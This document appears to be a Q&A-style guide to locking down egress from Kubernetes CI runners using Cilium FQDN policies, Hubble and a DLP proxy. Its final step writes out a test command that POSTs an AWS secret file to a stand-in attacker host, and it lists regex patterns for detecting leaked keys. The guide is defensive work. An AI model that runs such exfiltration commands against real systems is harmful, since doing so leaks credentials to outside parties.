Q: A recent security assessment demonstrated that a malicious npm postinstall script injected into a pull request could easily exfiltrate AWS temporary credentials and source code to an attacker-controlled VPS. Your CI/CD runner cluster runs hundreds of third-party build scripts daily. You must implement a Zero-Trust egress architecture on Kubernetes using Cilium Layer 7 FQDN NetworkPolicies and Envoy forward proxies that strictly blocks all outbound network traffic from CI runners except to explicitly allowlisted package registries and APIs.

Profile egress network traffic of build jobs using Cilium Hubble. Map all legitimate endpoints required during typical builds: GitHub API, npm registry, PyPI, Maven Central, Docker Hub, and AWS STS.

# Inspect real-time DNS queries and egress connections with Hubble CLI
hubble observe --namespace ci-runners --type drop
hubble observe --namespace ci-runners --type trace -f

Apply a CiliumClusterwideNetworkPolicy that denies all egress by default, selectively allowing DNS resolution on port 53 and HTTPS egress strictly to authorized Fully Qualified Domain Names (FQDNs).

apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
  name: secure-runner-egress
  namespace: ci-runners
spec:
  endpointSelector:
    matchLabels:
      app: ci-build-runner
  egress:
    # Allow CoreDNS within the cluster
    - toEndpoints:
        - matchLabels:
            k8s:io.kubernetes.pod.namespace: kube-system
            k8s-app: kube-dns
      toPorts:
        - ports:
            - port: '53'
              protocol: UDP
          rules:
            dns:
              - matchPattern: '*'
    # Allow HTTPS to strictly allowlisted registries
    - toFQDNs:
        - matchName: 'github.com'
        - matchName: 'api.github.com'
        - matchName: 'registry.npmjs.org'
        - matchName: 'pypi.org'
        - matchName: 'files.pythonhosted.org'
        - matchPattern: '*.docker.io'
        - matchPattern: '*.amazonaws.com'
      toPorts:
        - ports:
            - port: '443'
              protocol: TCP

Route outbound runner traffic through an authenticated egress proxy (e.g., Envoy or Squid) configured with TLS inspection and regex data loss prevention (DLP) rules that detect AWS access keys (`AKIA[0-9A-Z]{16}`) and GitHub Personal Access Tokens.

Execute automated adversarial pipeline test suites attempting outbound `curl -X POST https://evil-c2-server.com --data @$AWS_SECRET_FILE`. Verify that the connection is immediately reset and triggers an automated PagerDuty security incident.